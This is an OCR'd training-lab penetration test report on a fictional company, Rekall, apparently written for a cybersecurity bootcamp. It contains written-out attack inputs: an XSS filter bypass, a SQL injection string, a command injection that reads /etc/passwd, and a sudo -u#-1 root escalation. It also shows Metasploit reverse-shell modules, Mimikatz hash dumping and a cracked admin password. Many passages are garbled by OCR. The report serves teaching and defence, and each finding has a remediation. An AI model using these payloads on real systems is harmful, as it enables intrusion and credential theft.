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Confidentiality Statement

This document contains confidential and privileged information from Rekall Inc. (henceforth known
as Rekall). The information contained in this document is confidential and may constitute inside or
non-public information under international, federal, or state laws. Unauthorized forwarding, printing,
copying, distribution, or use of such information is strictly prohibited and may be unlawful. If you are
not the intended recipient, be aware that any disclosure, copying, or distribution of this document or
its parts is prohibited.
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Contact Information

‘ Company Name DreamHack, LLC
‘ Contact Name Daniele Galleano
‘ Contact Title Penetration Tester

‘ Contact Phone 04255255255
‘ Contact Email danielegalleano@dreamhack.com

Document History

01/10/2023 Daniele Galleano Draft
002 02/10/2023 Smith Senior feedback/review
003 02/20/2023 Daniele Galleano final

© 2022 Trilogy Education Services, a 2U, Inc. brand. All Rights Reserved. 4



Rekall Corp Penetration Test Report

© 2022 Trilogy Education Services, a 2U, Inc. brand. All Rights Reserved. 5



Rekall Corp Penetration Test Report

Introduction

In accordance with Rekall policies, our organization conducts external and internal penetration tests
of its networks and systems throughout the year. The purpose of this engagement was to assess the
networks’ and systems’ security and identify potential security flaws by utilizing industry-accepted
testing methodology and best practices.

For the testing, we focused on the following:

e Attempting to determine what system-level vulnerabilities could be discovered and exploited
with no prior knowledge of the environment or notification to administrators.

e Attempting to exploit vulnerabilities found and access confidential information that may be
stored on systems.

e Documenting and reporting on all findings.

All tests took into consideration the actual business processes implemented by the systems and
their potential threats; therefore, the results of this assessment reflect a realistic picture of the actual
exposure levels to online hackers. This document contains the results of that assessment.

Assessment Objective

The primary goal of this assessment was to provide an analysis of security flaws present in Rekall’s
web applications, networks, and systems. This assessment was conducted to identify exploitable
vulnerabilities and provide actionable recommendations on how to remediate the vulnerabilities to
provide a greater level of security for the environment.

We used our proven vulnerability testing methodology to assess all relevant web applications,
networks, and systems in scope.

Rekall has outlined the following objectives:

Objective

Find and exfiltrate any sensitive information within the domain.

Escalate privileges.

Compromise several machines.

© 2022 Trilogy Education Services, a 2U, Inc. brand. All Rights Reserved. 6
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Penetration Testing Methodology
Reconnaissance

We begin assessments by checking for any passive (open source) data that may assist the
assessors with their tasks. If internal, the assessment team will perform active recon using tools
such as Nmap and Bloodhound.

Identification of Vulnerabilities and Services

We use custom, private, and public tools such as Metasploit, hashcat, and Nmap to gain a
perspective of the network security from a hacker’s point of view. These methods provide Rekall with
an understanding of the risks that threaten its information, and also the strengths and weaknesses of
the current controls protecting those systems. The results were achieved by mapping the network
architecture, identifying hosts and services, enumerating network and system-level vulnerabilities,
attempting to discover unexpected hosts within the environment, and eliminating false positives that
might have arisen from scanning.

Vulnerability Exploitation
Our normal process is to both manually test each identified vulnerability and use automated tools to

exploit these issues. Exploitation of a vulnerability is defined as any action we perform that gives us
unauthorized access to the system or sensitive data.

Reporting

Once exploitation is completed and the assessors have completed their objectives, or have done
everything possible within the allotted time, the assessment team writes the report, which is the final
deliverable to the customer.

© 2022 Trilogy Education Services, a 2U, Inc. brand. All Rights Reserved. 7
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Prior to any assessment activities, Rekall and the assessment team will identify targeted systems
with a defined range or list of network IP addresses. The assessment team will work directly with the
Rekall POC to determine which network ranges are in-scope for the scheduled assessment.

It is Rekall’'s responsibility to ensure that IP addresses identified as in-scope are actually controlled
by Rekall and are hosted in Rekall-owned facilities (i.e., are not hosted by an external organization).

Penetration Test Report

Scope

In-scope and excluded IP addresses and ranges are listed below.

IP Address/URL

Description

192.168.13.10
192.168.13.11
192.168.13.12
192.168.13.13
192.168.13.14
172.22.117.10
172.22.117.20
34.102.136.180
rekall.local
*totalrekall.xyz

Internal Domain: rekall.local
ranges:

e 192.168.13.0/24

o 172.22.117.0/24
Public Website: www.totalrekall.xyz

© 2022 Trilogy Education Services, a 2U, Inc. brand. All Rights Reserved.




Rekall Corp Penetration Test Report

Executive Summary of Findings

Grading Methodology

Each finding was classified according to its severity, reflecting the risk each such vulnerability may
pose to the business processes implemented by the application, based on the following criteria:

Critical: Immediate threat to key business processes.

High: Indirect threat to key business processes/threat to secondary business processes.
Medium: Indirect or partial threat to business processes.

Low: No direct threat exists; vulnerability may be leveraged with other vulnerabilities.

No threat; however, it is data that may be used in a future attack.

As the following grid shows, each threat is assessed in terms of both its potential impact on the
business and the likelihood of exploitation:

Critical

High

Exploitation Likelihood

Medium

Low

Informational

Informational Low Medium High Critical
Potential Impact
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Summary of Strengths

While the assessment team was successful in finding several vulnerabilities, the team also

recognized several strengths within Rekall’'s environment. These positives highlight the effective

Penetration Test Report

countermeasures and defenses that successfully prevented, detected, or denied an attack technique
or tactic from occurring.

Privilege escalation from meterpreter shell using the migrate command failed. target not
exploitable

Traversal remote code execution failed, target not exploitable

Exploitation on Microsoft Windows RCP failed. Not exploitable

Summary of Weaknesses

We successfully found several critical vulnerabilities that should be immediately addressed in order

to prevent an adversary from compromising the network. These findings are not specific to a
software version but are more general and systemic vulnerabilities.

Exposure of Sensitive Information to an Unauthorized Actor Vulnerability
Reflected Cross-site-scripting (XSS) vulnerability

SQL injection vulnerability on User Login page

Command injections vulnerability

weak user credentials vulnerability on web application

Apache Tomcat Remote Code Execution Vulnerability

Shellshock vulnerability on apache server

Weak user credentials on SSH protocol, privilege escalation vulnerability
SLMAIL pop3d buffer overflow vulnerability

Hashes Dumping vulnerability

PsExec vulnerability to access to the Server machine and retrieve sensitive information

© 2022 Trilogy Education Services, a 2U, Inc. brand. All Rights Reserved.
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Executive Summary

Used Nessus to perform OSINT on totalrekall.xyz, retrieved sensitive information “flag1”, and user
information for ssh connection.

Registrant Contact InTormation

Name sshlser alice
Organization

Address hEs692hskasd Flagl
City Atlanta

State 7 Province Georgia k
Postal Code 38364

Country us

Phone +1.77822299849
Email Jlow®2u, con

Used gobuster as a brute-force scanner tool to enumerate directories/files on the totalrekall.xyz

Gobuster
by 0J R TheColonial) & Christian Mehlmauer (@firefart)

[+] url: http://192.168.14.35
[+] Method: GET
[+] Thread 10
[+] wWordlist: Jusr/share/wordlists/dirb/common. txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.3
Timeout: 10s

/ g ting gobuster directory enumeration mode

/.htaccess
/ .htpasswd
/.hta
/.git/HEAD
/About
Jadmin

]
bt b bk

NN NN
(7]

i = O W
W N — 00

5
3

/is :
/iquery : [Size:
/Login = 7 [Size:
[Size:
[Size:
[Size:
[Size:
[Size:
[Size:
[Size:
3% {-H
[Size:
: [Size:
atus: : [Size:
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robots.txt reveal restricted areas of the website and sensitive information

192.168.14.35/robots.txt X .. Web App d

&« C ) 192.168.14.35

User-agent: GoodBot
Disallow:

User-agent: BadBot
Disallow: /

User-agent: *

Disallow: /admin/

Disallow: /documents/
Disallow: /images/

Disallow: /souvenirs.php/
Disallow: flag9:dkkdudfkdy23

XSS reflected vulnerability, weak input validation, performed XSS payload on the “Choose Your
Character field”

Who do you want to be?

You have chosen, great choice!
Congrats, flag 2 is _

SQL injection vulnerability on User Login page, sql injection performed on the password field

User Login
Please login with your user credentials!
Login:
|
Password:
I
Congrats, flag 7 is bcs92sjsk233

Command injection vulnerability, retrieved information from /etc/passwd

© 2022 Trilogy Education Services, a 2U, Inc. brand. All Rights Reserved.
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DNS Check
[Lookup]

fmelina:

After retrieving valid username, weak user credentials vulnerability while performing a password
guessing attack:

username= melina

password= melina

REKALL CORPORATION

User Login
Please login with your user credentials!

Lor!;in:

Password:

000000

© 2022 Trilogy Education Services, a 2U, Inc. brand. All Rights Reserved. 13
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Used Nmap aggressive scanning on host 192.168.13.10

th ION request
} gngine 1.1

Used metasploit to exploit a vulnerability on Tomcat web server, meterpreter session opened as a
root user.

ssion 2 opened

TVE
http-titl

© 2022 Trilogy Education Services, a 2U, Inc. brand. All Rights Reserved. 14
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used metasploit to perform a traversal remote code execution. failed, target not exploitable
e host 192.168.13.11

msfe exploit(
] = 192.168.13.11

+1

Started reverse TCP handler on 192

Using iliary/scanner/http/apache_ 1

https://192.168.13.11:443 - No response,

Scanned 1 of 1 hosts (1 complete)

Exploit aborted due to failure: not-wvulnerable: e target i exploitable.
Exploit completed, but no session was crea

Used metasploit to exploit the Shellshock vulnerability on the apache2 web server, meterpreter

session opened.
e host 192.168.13.11

msf6 exploit( ) > set rhost 192.168.13.11
rhost = 192.168.13.11
msf6 exploit( ) > run

Started reverse TCP handler on 1 3.81.155: 4444
Command Stager progress - 100.4 done 097/1092 bytes)
Sending stage (984904 bytes) to : 58.13.11
Meterpreter session 1 opened (172

23-01-05 04:25:43 -0500

meterpreter > Jj
accessed info:
e etc/passwd
e etc/sudoers
e etc/networks
attempted privilege escalation from the meterpreter shell, failed.
meterreter > ps

Process List

Name Arch User
EDELE [ Xx86_64 root
apache2 x86_64 ww-data
apache2 x86_64 ww-data

apache2 x86_64 www-data
shockme.cgi x86_64 ww-data /bin/bash
67 shockme.cgi x86_64 ww-data /bin/bash
69 68 MwpGS x86 www-data /tmp/MwpGS

meterpreter > migrate 1
The "migrate" command is not supported by this Meterpreter type (x86/linux)

meterpreter > migrate @
The "migrate" command is not supported by this Meterpreter type (x86/linux)

Previously retrieved information with Nessus when performing OSINT on totalrekall.xyz

Registrant Contact InTermation:

Nare sshilser alice
Organization
Address h#s@dzhskasd Flagl

Used Nmap aggressive scanning on host 192.168.13.14: port 22 open, SSH protocol

© 2022 Trilogy Education Services, a 2U, Inc. brand. All Rights Reserved. 15
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7.6p1 Ubuntu &ubuntu@.S (Ubuntu Linux; protocol

nel:& cpe:fo:linux:linux

: cpezfo:linux:linux_kernel

report l rrect results at https
anned in 9.F conds

weak password vulnerability on SSH protocol for username: alice
e host192.168.13.14
e password guessing alice:alice

;sh alice®192.168.13.14
The authenticity of host '192.168. (192.168. be established.
ED25519 key fin print is SHA qJhDeNScYHu +Gxac9VeYhD11PjHzCvPSA.
This key is not known by any other names
Are you sure you want to continue connec (yes/no/[fingerprint])? y
Please type 'yes', 'no' or the fingerprint: yes

n added '192.168.13.14"' (ED25519) to the list of known hosts.

5 password:
18.04.6 LTS (GNU/Linux 6.0.0-kali3-amd64 x86_64)

* Documentation: https help.ubunt om

* Management: tt landscape.canonical.com

* Support: ttps ubuntu.com/advanta

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

The programs included with the Ubuntu system are free software;

the exact distribution terms for each program are described in the
individual files in /fusr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

Could not chdir to home directory /home/alice: No such file or rectory
$ pwd

$ whoami
alice

$ 1

Sudo security configuration Vulnerability, lets users become root by getting id number 0 which is the
root id.
e retrieved sensitive information

© 2022 Trilogy Education Services, a 2U, Inc. brand. All Rights Reserved. 16
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Could not chdir to home dire
$ pwd

$ whoami

alice

$ sudo -u#i-1 whoami
root

$ sudo -u#-1 find -type f -iname =flagx
,/root/flagl2,txt
ys/devices/platform/serial8250/tty/ttyS2/flags
‘devices/platform/serial8250/ yS0/flags
/devices/platform/serial8250/tty/ttyS3/flags
/devices/platform/serial8250/tty/ttyS1/flags
/devices/virtual/net/lo/flags
/devices/virtual/net/eth@/flags
odule/scsi_mod/parameters/default_dev_flags
ernel/acpi_video_flags
\ et/ipv4/fib_notify_on_flag_change
ys/net/ipv6/fib_notify_on_flag_change
pageflags

$ sudo -u#-1 cat /root/flagl2.txt
d7sdfksdf384

e privilege escalation
$ whoami
alice
$ sudo -u#t-1 sudo su

rootad5f6b93128f0: /# whoami
root
rootad5f6b93128f0: /# |

pop3 SLMAIL pop3d

» set lhost eth3
) > set rhosts 172

) > exploit

81 -0500

tuid
NT AUTHORITY

load kiwi retrieve the username and password hashes

© 2022 Trilogy Education Services, a 2U, Inc. brand. All Rights Reserved. 17
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name
Domain name
Domain FQI

* Iteration is set to default
[NL%1 - 1/
RID

RID :
User :
Hash
Lm

il
flagh
NTLM:

RID
User

Hash i hhffe ( 8laftldcae

rted

nding

loit

Exploit
msf6 exploit(

Used PsExec to access the Server machine and retrieve sensitive information
e host172.22.117.10

msf6 exploit(

Started reverse TCP
.10:445

) > exploit

handler on 172.22
Connecting to the

.117.100: 4444
Server ...

.10:445
2101445 -

Authenticating to
Selecting PowerShell target
.10:445 - Executing the payload ...
17 .117.10:445 - Service start timed out, OK if running a command or non-service executable ...
Sending stage (175174 bytes) to 172.22.117.10
Meterpreter session 1 opened (172.22.117.100:4444 — 172.22.117.10:49751 ) at 2023-01-14 20:21:20 -0500

meterpreter > sysinfo

Computer : WINDCO1

0s : Windows 2016+ (10.0 Build 17763).
Architecture H 1

System Language : en_US

Domain : REKALL

Logged On Users : 7

Meterpreter : x86/windows

© 2022 Trilogy Education Services, a 2U, Inc. brand. All Rights Reserved.
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@ Build 17

4016 created.

1 created.

ft Windows [Version 10.0.17763.
Microsoft Corporation. All

lindows\system32>net users

ADMBob Administrator
Guest hdodge
krbtgt tschubert

lume in drive C has no label
Volume Serial Number is 1

ectory of

© 2022 Trilogy Education Services, a 2U, Inc. brand. All Rights Reserved.
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Summary Vulnerability Overview

Vulnerability | severity
Exposure of Sensitive Information to an Unauthorized Actor.

Reflected Cross-site-scripting (XSS) vulnerability

SQL injection vulnerability on User Login page Critical
Command injections vulnerability

weak user credentials vulnerability on web application

Apache Tomcat Remote Code Execution Vulnerability Critical
Shellshock vulnerability on apache server

Weak user credentials on SSH protocol, privilege escalation vulnerability Critical
SLMAIL pop3d buffer overflow vulnerability Critical

Hashes Dumping vulnerability

PsExec vulnerability to access to the Server machine and retrieve sensitive

; ; Critical
information

The following summary tables represent an overview of the assessment findings for this penetration
test:

192.168.13.10
192.168.13.11
192.168.13.12
192.168.13.13
192.168.13.14
172.22.117.10
172.22.117.20
34.102.136.180

Hosts

22
80
Ports 110
445
443
8080

© 2022 Trilogy Education Services, a 2U, Inc. brand. All Rights Reserved. 20
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| Exploitation Risk

Critical 4
4

Medium 2
Low 0

Vulnerability Findings

Vulnerability 1 Findings

Directory Bursting vulnerability && Exposure of Sensitive Information

Title accessible from the webpage

Type (Web app / | Web app
Linux OS /
Windows OS)

Risk Rating Medium

DramH detected a Vulnerability related to the exposure of sensitive information
on the webpage.

A Brute force directory bursting is executed to enumerate hidden directories
that may contain files with sensitive information.

Description The directory discovered is also followed by more details such as the status
code, code 200 tells the pentester that is accessible.

Retrieved sensitive information from the robots.txt file, this file is used to set
instructions about the website for web crawlers when searching for web
contents.

© 2022 Trilogy Education Services, a 2U, Inc. brand. All Rights Reserved. 21
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Vulnerability 1 Findings

Directory Bursting vulnerability && Exposure of Sensitive Information

Title .
accessible from the webpage
Gobuster
by 0J Ree
[+] url: http://192.168.
[+] Method: GET
[+] : 10
[+ r' e /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.3
Timeout: 10s
/.htaccess
/.htpasswd
Images

/0 11 Finished

192.168.14.35/robots.txt X

& C o D 192.168.14.35

User-agent: GoodBot
Disallow:

User-agent: BadBot
Disallow: /

User-agent: *

Disallow: /admin/

Disallow: /documents/
Disallow: /images/

Disallow: /souvenirs.php/
Disallow: flag9:dkkdudfkdy23

Affected Hosts | http://192.168.14.35

e Enforce proper permissions on directories and files

e Do not store sensitive information in directories accessible from the
public, specially source code or database

e Keep server up to date

Remediation

© 2022 Trilogy Education Services, a 2U, Inc. brand. All Rights Reserved. 22
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Vulnerability 2 Findings

Title Reflected Cross-site-scripting (XSS) vulnerability
Type (Web app / | Web app
Linux OS /
Windows OS)

Risk Rating High

DreamH detected a Cross-site-scripting reflected vulnerability, a security
client-side input validation is in place, removing “script” from the field.
Exploitable by using the following payload:

Description <SscriptCscriptRscriptlscriptPscriptT>alert(“hi”)</SscriptCscriptRscriptlscriptPs
criptT>

The script comes from the HTTP request, and it is reflected from the web
application returning malicious scripts to the user.

Who do you want to be?

Images

You have chosen, great choice!

Congrats, flag 2 is KS@RA99dkas

Affected Hosts | http://192.168.14.35

e client-side input validation: visible to users, client-side restrictions are
used to allow users to input only certain characters or remove part of
the user input that is considered malicious like “script”. Note that
Client-side restrictions can be easily bypassed.

Remediation e server-side input validation: more reliable input validation, whatever is
sent by the client is checked. Encode user input to prevent XSS, use
PHP htmispecialchars() function or similar.

e Use signature-based security rules on Web application firewalls, to
stop unusual solicitations.

Vulnerability 3 Findings

Title SQL injection vulnerability on User Login page

Type (Web app / | Web app
Linux OS /
Windows OS)

Risk Rating Critical

Description DreamH was able to detect a SQL injection vulnerability on the login.php page,

© 2022 Trilogy Education Services, a 2U, Inc. brand. All Rights Reserved. 23
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The vulnerable field is the User Login Password field.

An SQL statement has been given, more specifically an always true statement
that properly runs on the database to retrieve sensitive information.

Attackers may extract sensitive information, compromise, delete data, or even
gain control of the web application.

SQL injection attack used = 1' OR '1'="1

User Login
Please login with your user credentials!
Login:
|
Password:
|
Congrats, flag 7 is bcs92sjsk233

Images

Affected Hosts | http://192.168.14.35

e Keep web application up to date

e Configure privilege accounts that connect to the database, do not
assign INSERT, UPDATE, DELETE or unwanted actions.

Remediation e Use a database user with restricted privileges

e Input validation, use regular expressions to make sure user input
matches the pattern

e Input validation, encode user input

Vulnerability 4 Findings

Title Command injections vulnerability

Type (Web app / | Web app
Linux OS /
Windows OS)

Risk Rating medium

DremH detected a command injection vulnerability on the networking.php
page.

On the Networking.php page is it possible to check the DNS that users provide
in the field and the domain name system performs the translation from
human-readable language to IP address.

DreamH pentester was able to perform a command injection and display the
file /etc/passwd and get username information.

Once the application receives the command from the end user, the command
will be executed on the host.

payload used: www.google.com && cat /etc/passwd

Description

© 2022 Trilogy Education Services, a 2U, Inc. brand. All Rights Reserved. 24
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Images

DNS Check

2 127.0.0.11 Address: 127.0.0.11#53 Mon-authoritative
answer: Name: www.google.com Address: 142.250.204.4
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr
fshbinzfusr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin

y:sys/dev:/usr/sbin/mologin syncx:4:

spool/uucp:fusr/sbin
in/nologin wiww-
data: ] fsbin/nologin

backu

ircx:3 red:var/runfircd:fusr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var
fibfenats:/usr/sbin/ gin
»34:nobody:/nonexistent:/usr/sbin/nologin
fvarflib/libuuid: syslogx:101:104::/home
mysq| 2:105:MySQL
rent:/bin/false melina:x: »/home

fmelina:

Affected Hosts

http://192.168.14.35

Remediation

e Keep application up to date
e Least privilege: configure privileges to applications and processes with

the minimum privileges necessary to just conduct their task. Any other
actions/tasks outside the minimum will be forbidden.

e Input validation, whitelist only allowed characters, do not allow special

characters and/or values used for OS commands such as “&” “|” “;” “<”
H>1! H\”

© 2022 Trilogy Education Services, a 2U, Inc. brand. All Rights Reserved.
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Vulnerability 5 Findings

Penetration Test Report

Title Weak user credentials vulnerability
Type (Web app / | web app
Linux OS /
Windows OS)
Risk Rating high
After retrieving valid username, DreamH detected a weak user credentials
i vulnerability discovered while performing a password guessing attack:
Description . :
username: melina
password: melina
REKALL CORPORATION
User Login
Please login with your user credentials!
Images

Login:
Password:

000000

Affected Hosts

http://192.168.14.35

Remediation

e Set up two-factor authentication instead of basic authentication to
prevent dictionary attacks/ password guessing from being successful.

e Require a strong password complexity that requires passwords to be

over 12 characters long, upper+lower case, & include a special

character.

Set password expiration, notify password expiration

Reset the user melina’s password.

Vulnerability 6 Findings
Title Apache Tomcat Remote Code Execution Vulnerability
Type (Web app / | Linux OS
Linux OS /
Windows OS)
Risk Rating Critical
Description DreamH discovered a Tomcat web server vulnerability by using the

© 2022 Trilogy Education Services, a 2U, Inc. brand. All Rights Reserved.
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exploit/multi/http/tomcat_jsp_upload_bypass module in msfconsole. This
module allowed the pentester to upload a file using the HTTP PUT request.
More specifically it uploads a jsp shell to the Apache Tomcat configuration.
When a .jsp file is uploaded, tomcat will use DefaultServlet to execute it.

As a result a session is established and a meterpreter shell opened as a root
user.

nmap aggressive scan, port 8080 open.

ION request

cpe:/fo:linux:linux_kernel:S

Images

23-01-13 00:07:50 -0500

Affected Hosts | 192.168.13.10

e Update Tomcat to the latest version where vulnerability is fixed

e Restrict the HTTP PUT requests sent to the apache server (by default
apache accept all requests : GET, HEAD, POST, OPTIONS, PUT,
DELETE)

e do not run Tomcat as a root user

e disable displaying directory listing

Remediation

Vulnerability 7 Findings

Title Shellshock vulnerability on apache server

Type (Web app / | Linux OS
Linux OS /
Windows OS)

Risk Rating High

© 2022 Trilogy Education Services, a 2U, Inc. brand. All Rights Reserved. 27
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Vulnerability in how the Bash shell manages variables from an external
environment.

The apache web server running that uses CGl scripts makes it exploitable.
The CGI protocol is used from the web server to execute commands, more
specifically CGl scripts that are stored in the /cgi-bin directory (or similar
Description name). Anytime a browser requests the URL pointing to the /cgi-bin directory,
the server will run the script, and from the browser it is possible to see the
output of the script.

In this case the path to the script is /cgi-bin/shockme.cgi, and the system is
clearly vulnerable due to a shell session being opened and let us retrieve file
information such as /etc/passwd and etc/sudoers.

nmap aggressive scan, port 80 open.

p open http Apache httpd

se report an rect results at https://nmap.o

> options

Module options (exploit/multi/http/apache_mod_cgi_bash_env
Images

Name Current Setting Required Description

CMD_MAX_LENGTH max line
CVE 1 C to ch
HEADER er-Agent HTTP hea
METHOD GET

Proxies

RHOSTS 192.168.13.11

RPATH /bin

RPORT g

SRVHOST

SRVPORT

S5L 7 no
S5LCert no
TARGETURI /cgi-bin/shockme.cgi
TIMEOUT ]

URIPATH

VHOST

Payload options (linux/x86/meterpreter/reverse_tcp):

Name Cur L ing Reguired Description

LHOST 58.13. / The listen address (an interface may be specified)
LPORT ¢ { The listen port

/etc/sudoers
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# User privilege specification
root ALL=(ALL:ALL) ALL

# Members of the admin group may gain root privil
dmin ALL=(ALL) ALL

# Allow members of group sudo to execute any command
¥sudo ALL=(ALL:ALL) ALL

for more information on "#include" directives:

] c/passwd
root:/bin/bash
r/usr/sbin:/usr/sbin/nologin
A sbin/nologin
/sbin/nologin
/bin/sync
s:/usr/sbin/nologin
/man:/usr/sbin/nologi
/spool/lpd:/usr/sbin/nolog
/mail:/usr/s

Sk

-wudks&f7sd:

Affected Hosts | 192.168.13.11

e Patch the system, update bash version.

e Use Bash alternative for servers and users (dash or zsh)

e Scan the internal network and check devices that are vulnerable to
Shellshock bugs.

e Encode user input stored in variables.

Remediation

Vulnerability 8 Findings

Title Weak user credentials on SSH protocol, privilege escalation vulnerability

Type (Web app / | Linux OS
Linux OS /
Windows OS)

Risk Rating Critical

DreamH previously detected a disclosure information vulnerability that gives
ssh username. Also, DreamH performed a nmap scan to the host
192.168.13.14, the finding is port 22 open, where the SSH protocol is running.
By using a password guessing attack the Pentester was able to login by using

Description
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the credential alice:alice.

Due to a misconfiguration on the /etc/sudoers file, the user “alice” is able to
exploit the CVE-2019-14287 and perform commands as a root user.

The restriction on the user alice is that she can run commands as any user
except root, the configuration in the sudoers file is the following:

alice (ALL, 'root) NOPASSWD: ALL

The exclamation mark specifies the exclusion, performing a command
specifying the user ID -1 will bypass the restriction and the user alice is able to
run commands as a root.

DreamH was able to retrieve sensitive information as a root user and also
perform a privilege escalation becoming the root user.

Images

Registrant Contact Information:

Nare sshlser alice
Organization
Address h8s692hskasd Flagl

nmap aggressive scan, port 22 open.

Linux; protocol 2.8)

linux:

linux:lim

rect results at https://nma
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2 3.14
The authentic 192.168.13.14 (192.168.13.14)' can't be established.
ED25519 key fin print is SHA256:WHISCHgJhDeNScYHwpm2J+Gxac9V6YhD11PjHzCvP5A.
This key is not known by any other names
Are you sure you want to continue r ing (yes/no/[fingerprint])? y
Please type 'yes', 'no' or the fingerpr 1 yes
Warnir Permanently added '192.168.13.14"' (ED25519) to the list of known hosts.
alice@192.168.13.14"'s password:
Welcome to Ubuntu 18.04.6 LTS (GNU/Linux 6.0.0-kali3-amd64 x86_64)

* Documentation: https://help.ubuntu.com

* Management: https:

* Support: http

This system has been minimiz g ages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.

The programs included with the Ubuntu system are free software;
the exact distribution terms for e program are described in the
individual files in /fusr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

The programs included with the Ubuntu system are free software;
the exact distribution terms for e program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

Could not chdir to home directory /home/alice: No such file or directory
$ pwd
;

$ whoami
alice

) |

Could not chdir to home dire
$ pwd

r

$ whoami

alice

$ sudo -u#-1 whoami
root

$ sudo -u#-1 cat ,
d7sdfksdf384

$ whoami

alice

$ sudo -u#t-1 sudo su
rootad5f6b93128f0: /# whoami
root

root@d5f6b93128f0: /# |

Affected Hosts | 192.168.13.14

make sure sensitive information are not on public sources

Staff training and awareness on password complexity..

reset user alice password

close port 22 unless essential

Require a strong password complexity for SSH connections, that
requires passwords to be over 12 characters long, upper+lower case,
& include a special character

Remediation
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e Triple check /etc/sudoers file making sure each of the sudoers entry is
properly configured, specially the one with “I” in it.

Vulnerability 9 Findings

SLMAIL pop3d buffer overflow vulnerability

Title

Type (Web app / | Windows OS
Linux OS /
Windows OS)

Risk Rating Critical

DreamH was able to detect a vulnerability on port 110 related to the pop3
server of Seattle Lab Mail 5.5.

Description Authentication forms is not required due to a buffer overflow, specifically when
sending a password with excessive length.

Meterpreter session created, and sensitive information retrieved(flag4.txt).

Zenmap scan on 172.22.117.20, port 110 open
[110/tcp open pop3 BVRP Software SLMAIL pop3d

( ) > set lhost eth3

mp esp at

meterpreter > 1s
Listing: C:\Program Files (x86)\SLmail\System

Images

Mode Size Type Last modified Name
100666/ rw-rw-rw- 32 fil 2022-03-21 11:59: -0400 flagh.txt
100666/ rw-rw-rw- 3358 fil 2002-11-19 13:40: -0500 listrcrd.txt
100666/rw-rw-rw- 1840  fil  2022-03-17 11:22:48 -0400 maillog.000
100666/rw-rw-rw- 3793  fil  2022-03-21 11:56:50 -0400 maillog.001
100666/ rw-rw-rw- 4371  fil  2022-04-05 12:49:54 -0400 maillog.002
100666/ rw-rw-rw- 1940 fil 2022-04-07 10:06: -0400 maillog.003
100666/rw-rw-rw- 1991  fil  2022-04-12 20:36:05 -0400 maillog.004
100666/rw-rw-rw- 2210 fil  2022-¢ 20:47:12 -0400 maillog.005
100666/ rw-rw-rw- 2831 fil 2022-06-22 23:30: -0400 maillog.006
100666/ rw-rw-rw- 1991 fil  2022-07-13 12:08:13 -0400 maillog.007
100666/ rw-rw-rw- 2366  fil 2023-01-08 22:28:40 -0500 maillog.008

Affected Hosts | 172.22.117.20

e Upgrade SLMAIL with a new non-vulnerable version

e Only allow access to the POP3 server from inside the firewall, while
external access can be performed passing by an authenticated VPN,
accessing the POP3 server once the user authenticated to the VPN.

Remediation
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Vulnerability 10 Findings

Title Hashes Dumping vulnerability

Type (Web app / | Windows OS
Linux OS /
Windows OS)

Risk Rating High

Enumeration performed from a shell access previously opened as a higher
privilege user “SYSTEM”.
Username and password hashes retrieved by using the kiwi Mimikatz

Description software.
P User flag6 and sysadmin retrieved from the Security Account Manager (SAM)

registry file.

User admbob retrieved from the domain cached registry.

Password hashes cracked even if they were stored in different formats.

fodl4c0460
501d5d461315b
meterpreter > kiwi_cmd lsadump:: SAM
Images Domain : WIN1O

RID : 000
User : flagb
Hash NTLM:
lm - @:
ntlm- @:

RID : pOPOO3e9 (1001)
User : sysad

Hash NTLM: led%ai4bbffe6Babtcb?3Eb0381latldc96

cracked hashes from john.pot:

5b:Changeme!

Affected Hosts | 172.22.117.20

e Ensure administrators are using strong, unique, complex passwords.
Remediation e Implement Credentials Guard to protect LSA secrets. Please note that
it does protect against all credentials dumping.
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e Configure Security Softwares to identify processes interacting with
LSASS (Local Security Authority Process).

e Use and enable LSA protection to force Mimikatz to work by using a
Mimikatz driver that will generate logs events when interacting with
LSASS.

e Enforce not only AD permissions, but AD Effective permissions to
reduce and properly configure the “Replicating Directory Changes All”
that allows to take information out of the domain, including password
hashes.

Vulnerability 11 Findings

PsExec vulnerability to access to the Server machine and retrieve sensitive
information

Title

Type (Web app / | Windows OS
Linux OS /
Windows OS)

Risk Rating Critical

DreamH was able to access a meterpreter shell by using the
exploit/windows/smb/psexec module on msf6.

PsExec is generally used by Administrators to execute programs on other
computers, DreamH was able to execute it due to an admin valid credentials
Description previously retrieved (amdbob:Changeme!).

DreamH was also able to obtain a SYSTEM shell from the meterpreter
session, performed user enumeration, and retrieved sensitive information on
the C drive.

Zenmap scan on host 172.22.117.20, SMB service port 445 open.

Nmap scan report for wWinDCel ((priyrISsyel:)
Host is up (0.00066s latency).
LA LN 989 closed tcp ports (reset)
SERVICE
domain Simple DNS Plus
kerberos-sec Microsoft Windows Kerberos (server time: 2023-01-09

135/tcp open msrpc Microsoft Windows
Images 139/tcp open netbios-ssn Microsoft Windows nethios-ssn)
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain:
rekall.locale., Site: Default-First-Site-Name)
open microsoft-ds?
open kpasswd5?
open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain:
rekall.locale., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
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msf6 exploit( ) > options

Module options (exploit/windows/smb/psexec):

Name Current Setting Required

RHOSTS 117.10
RPORT 445
SERVICE_DESCRIPTION
SERVICE_DISPLAY_NAME
SERVICE_NAME
SMBDomain

SMBPass

SMBSHARE

rekall.local
Changeme!

SMBUser

admbob

Payload options (windows/meterpreter/reverse_tcp):

EXITFUNC thread yes

Name Current Setting Required Description

Exit technique (Accepted:

Description

The target host(s), see https://github.com/rapid7/metasploit-framework/
wiki/Using-Metasploit

